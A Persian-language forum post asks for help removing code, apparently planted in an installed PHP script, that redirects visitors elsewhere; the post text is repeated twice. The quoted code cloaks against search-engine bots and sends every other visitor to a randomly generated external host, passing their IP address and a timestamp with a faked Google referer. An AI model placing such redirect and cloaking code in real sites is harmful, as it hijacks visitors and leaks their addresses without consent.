fr0nk
January 28th, 2013, 20:46
با سلام
توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده
<?php
date_default_timezone_set('Asia/Tehran');
if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
{
$url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
header("Referer: https://www.google.com/");
header("Location: ".$url);
header("Referer: https://www.google.com/");
exit();
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>
مشکل رو else if هست
حذف بشه هم اسکریپت کامل نمیاد بالا
ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده
راه حل دوستان
توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده
<?php
date_default_timezone_set('Asia/Tehran');
if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
{
$url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
header("Referer: https://www.google.com/");
header("Location: ".$url);
header("Referer: https://www.google.com/");
exit();
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>
مشکل رو else if هست
حذف بشه هم اسکریپت کامل نمیاد بالا
ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده
راه حل دوستان